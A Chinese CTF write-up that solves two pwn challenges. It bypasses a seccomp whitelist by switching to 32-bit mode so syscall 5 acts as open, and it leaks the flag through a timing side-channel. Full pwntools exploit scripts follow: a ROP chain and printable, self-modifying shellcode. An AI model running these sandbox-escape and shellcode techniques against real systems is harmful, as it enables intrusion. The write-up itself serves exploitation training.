前言
这是刚结束不久的SCTF里的一题,这次SCTF我没去打,但是赛后看了看题目,发现真的基本都没接触过,只有这题能写写,我还是太菜了。
本篇博客题目附件的下载地址
题目分析
开了沙盒,沙盒如下:
line CODE JT JF K
=================================
0000: 0x20 0x00 0x00 0x00000000 A = sys_number
0001: 0x25 0x03 0x00 0x40000000 if (A > 0x40000000) goto 0005
0002: 0x15 0x03 0x00 0x00000005 if (A == fstat) goto 0006
0003: 0x15 0x02 0x00 0x00000000 if (A == read) goto 0006
0004: 0x15 0x01 0x00 0x00000025 if (A == alarm) goto 0006
0005: 0x06 0x00 0x00 0x00000000 return KILL
0006: 0x06 0x00 0x00 0x7fff0000 return ALLOW
白名单里只有三个系统调用可以使用,既然禁用了execve,自然想到要orw,但是只有read,open和write都被禁用了。
不过,我们发现这个沙盒没有arch限制必须是64位,又注意到了fstat这个并不常见的系统调用,由此为突破口,发现其系统调用号为5,恰巧32位下open的系统调用号为5,而此沙盒又是以判断系统调用号来禁用系统调用的,结合以上,不难想到通过retfq切换64位到32位,然后调用open,再用retf切换回64位,调用read,至于禁用了write,可以采用侧信道攻击的方式爆破flag(就是类似于web中的sql时间盲注,比如缓冲区中的字符和爆破猜测的相等,就卡个死循环,然后通过接收数据判断是否超时来确定有没有爆破正确,当然用二分法更加快)。
至于漏洞点,非常明显,就是一个栈溢出,但是由于无法泄露libc,只能在elf文件中寻找合适的gadget构造rop链了,也并不困难。
此外,补充说明一下retfq的切换原理,其实程序判别是64位还是32位,主要靠cs寄存器,而retfq就相当于pop ip; pop cs,其中cs为0x23代表32位,为0x33代表64位,并且retfq是按64位pop的(8字节),retf则是按32位pop的(4字节)。
还有需要注意的是,在64位切换到32位时,地址解析的规则也会变为32位的,因此栈帧会发生改变,如原先的rsp = 0x7fff23333333会被解析成esp = 0x23333333,所以直接把rop或shellcode布置在64位的地址上就会在push与pop等操作时出问题,故需要先将rop或shellcode写入bss段等短地址区域上,在切换跳转后,也要注意平衡栈帧。
exp
from pwn import *
context(os = "linux", arch = "amd64")
#context(log_level = 'debug')
elf = ELF("./pwn")
possible_list = "0123456789_abcdefghijklmnopqrstuvwxyz{}"
bss_addr = elf.bss() + 0x500
pop_rax_ret = 0x401001
pop_rbx_r14_r15_rbp_ret = 0x403072
pop_rcx_ret = 0x40117b
pop_rdi_rbp_ret = 0x401734
pop_rdi_jmp_rax = 0x402be4
pop_rsi_r15_rbp_ret = 0x401732
mov_rsi_r15_mov_rdx_r12_call_r14 = 0x402c04 # call -> push + jmp
pop_r12_r14_r15_rbp_ret = 0x40172f
pop_rsp_ret = 0x409d1c # mov edi,...
pop_rbp_ret = 0x401102
syscall_pop_rbp_ret = 0x401165
int_0x80_ret = 0x4011f3
retf_addr = 0x4011ed
cmp_addr = 0x408266 # cmp byte ptr [rax - 0x46], cl ; push rbp ; ret 0x5069
jnz_addr = 0x405831 # jnz 0x405837
loop = 0x405837 # jmp 0x405837
def pwn(index, char):
payload = b'\x00'*0x38
payload += p64(pop_rax_ret) + p64(0) + p64(pop_rdi_rbp_ret) + p64(0)*2
payload += p64(pop_r12_r14_r15_rbp_ret) + p64(0x100) + p64(syscall_pop_rbp_ret) + p64(bss_addr) + p64(0)
payload += p64(mov_rsi_r15_mov_rdx_r12_call_r14) + p64(pop_rsp_ret) + p64(bss_addr + 8)
io.send(payload.ljust(0xC0, b'\x00'))
sleep(0.1)
payload = b'./flag\x00\x00' + p64(pop_rax_ret) + p64(5)
payload += p64(pop_rbx_r14_r15_rbp_ret) + p64(bss_addr) + p64(0)*3
payload += p64(pop_rcx_ret) + p64(0)
payload += p64(retf_addr) + p32(int_0x80_ret) + p32(0x23)
payload += p32(retf_addr) + p32(pop_rax_ret) + p32(0x33) + p64(0)
payload += p64(pop_rdi_rbp_ret) + p64(3) + p64(0)
payload += p64(pop_rsi_r15_rbp_ret) + p64(bss_addr + 0x200) + p64(0)*2 + p64(syscall_pop_rbp_ret) + p64(0)
payload += p64(pop_rax_ret) + p64(bss_addr + 0x200 + 0x46 + index)
payload += p64(pop_rcx_ret) + p64(char)
payload += p64(pop_rbp_ret) + p64(jnz_addr)
payload += p64(cmp_addr)
io.send(payload)
if __name__ == '__main__':
pos = 0
flag = ""
while True:
left, right = 0, len(possible_list)-1
for i in possible_list :
io = process('./pwn')
pwn(pos, ord(i))
try:
io.recv(timeout = 1)
io.close()
except:
flag += i
print(flag)
io.close()
break
if i == '}' :
break
pos = pos + 1
success(flag)
# sctf{woww0w_y0u_1s_g4dget_m45ter}
2021强网杯 shellcode
这是一道与之极为相似的题目,只不过改为直接打shellcode了,思路完全一致,就不再作详细分析了,直接附上exp吧,这里我写了个二分法,速度还算可观。
就提一点,本题限制了shellcode只能为可见字符,因此syscall,int 80h,retfq等命令都不能直接写进去,因为它们编译后的shellcode都不全是可见字符,但是我们可以通过xor,add,sub等运算的指令,构造出它们的机器码,如:push rdx和pop rdx的机器码分别为\x52和\x5a,让它们分别xor上0x5d和0x5f就得到了\x0f和\x05,合起来就是syscall的机器码了,至于为何选用0x5d和0x5f,是因为push 0x5d和push 0x5f的shellcode也都是可见字符。
from pwn import *
#context(log_level = 'debug')
possible_list = "-0123456789abcdefghijklmnopqrstuvwxyz{}"
def pwn(pos, char):
shellcode_open_x86 = '''
/*fp = open("flag")*/
mov esp,0x40404140
push 0x67616c66
push esp
pop ebx
xor ecx,ecx
mov eax,5
int 0x80
push 0x33
push 0x4040405E
retf
'''
shellcode_read_flag = '''
/*read(fp,buf,0x70)*/
mov rdi,3
mov rsi,rsp
mov rdx,0x70
xor rax,rax
syscall
'''
shellcode_read_flag += F'''
cmp byte ptr[rsi+{pos}], {char}
ja loop
ret
loop:
jmp loop
'''
shellcode_open_x86 = asm(shellcode_open_x86, arch = 'i386', os = 'linux')
shellcode_read_flag = asm(shellcode_read_flag, arch = 'amd64', os = 'linux')
syscall_retfq = '''
push rdx
pop rdx
'''
shellcode_mmap = '''
/*mmap(0x40404040,0x7e,7,34,0,0)*/
push 0x40404040 /*set rdi*/
pop rdi
push 0x7e /*set rsi*/
pop rsi
push 0x40 /*set rdx*/
pop rax
xor al,0x47
push rax
pop rdx
push 0x40 /*set r8*/
pop rax
xor al,0x40
push rax
pop r8
push rax /*set r9*/
pop r9
/*syscall*/
push rbx
pop rax
push 0x5d
pop rcx
xor byte ptr[rax+0x31],cl
push 0x5f
pop rcx
xor byte ptr[rax+0x32],cl
push 0x22 /*set rcx*/
pop rcx
push 0x40/*set rax*/
pop rax
xor al,0x49
'''
shellcode_read = '''
/*read(0,0x40404040,0x70)*/
push 0x40404040
pop rsi
push 0x40
pop rax
xor al,0x40
push rax
pop rdi
push 0x70
pop rdx
push rbx
pop rax
push 0x5d
pop rcx
xor byte ptr[rax+0x55],cl
push 0x5f
pop rcx
xor byte ptr[rax+0x56],cl
push rdx
pop rax
xor al,0x70
'''
shellcode_retfq = '''
push rbx
pop rax
xor al,0x40
push 0x72
pop rcx
xor byte ptr[rax+0x3a],cl
push 0x68
pop rcx
xor byte ptr[rax+0x3a],cl
push 0x47
pop rcx
sub byte ptr[rax+0x3b],cl
push 0x48
pop rcx
sub byte ptr[rax+0x3b],cl
push 0x23
push 0x40404040
'''
shellcode = shellcode_mmap
shellcode += syscall_retfq
shellcode += shellcode_read
shellcode += syscall_retfq
shellcode += shellcode_retfq
shellcode += syscall_retfq
shellcode = asm(shellcode, arch = 'amd64', os = 'linux')
io.sendline(shellcode)
sleep(0.1)
io.sendline(shellcode_open_x86 + shellcode_read_flag)
if __name__ == '__main__':
start = time.time()
pos = 0
flag = ""
while True:
left, right = 0, len(possible_list)-1
while left < right :
mid = (left + right) >> 1
io = process('./pwn')
pwn(pos, ord(possible_list[mid]))
try:
io.recv(timeout = 1)
left = mid + 1
except:
right = mid
io.close()
flag += possible_list[left]
print(flag)
if possible_list[left] == '}' :
break
pos = pos + 1
success(flag)
end = time.time()
success("time:\t" + str(end - start) + "s")